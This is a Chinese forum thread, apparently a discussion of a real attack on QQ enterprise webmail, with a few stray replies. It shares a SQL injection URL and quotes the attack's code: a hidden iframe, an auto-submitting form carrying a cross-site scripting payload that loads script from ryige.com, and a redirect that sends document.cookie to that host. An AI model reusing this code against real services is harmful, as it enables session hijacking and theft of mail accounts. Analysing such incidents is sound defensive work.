什么明文密码什么脱裤...怎么不动脑子的那么多？

题主提到的二步认证现在被小范围用于被风控的账号中，例如存在弱口令或撞库风险的账号。

<img src="test">

http://iscxy.com/index.php?s=/Index/me&id=699-1
http://iscxy.com/index.php?s=/Index/me&id=699

嗯 分享一个 SQLi

嗯，刚才测试了一下，如果你的企业邮箱在登录情况下访问了如上网址，是可以登录你的邮箱。

@BOYPT

两个 iframe ，一些常见网站是人民网的分享接口进行的访问，不是攻击者。

另外一个 iframe 是进行攻击者的操作：

<iframe src="http://society.people.com.cn/n/2015/1031/c1008-27760163.html" style="width:100%;height:1200px;border:none"></iframe>

<iframe src="/htmlpage5.html" style="display:none"></iframe>

---------------

function test(PARAMS) {
var temp = document.createElement("form");
temp.acceptCharset = "utf-8";
//By Wfox
temp.action = 'http://m.exmail.qq.com/cgi-bin/login';
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
}
test({
uin: '\\&quot;&lt;/script&gt;&lt;script src=http://ryige.com/q/8&gt;&lt;/script&gt;',
});


document.domain="qq.com";
window.onload=documentrrady;
function documentrrady(){
window.location.href="http://ryige.com/server/AddQQUser?c="+encodeURI(document.cookie)+"&u=lockKey8&r="+encodeURI(document.referrer)
};

nice

@Owenjia 脚本获取 py 依赖，手工对一些进行处理。

@Owenjia
准备在之后的版本加入 PoC 依赖自动安装第三方依赖

@Owenjia nice

如果你想安全点儿，可能印象笔记更好一些。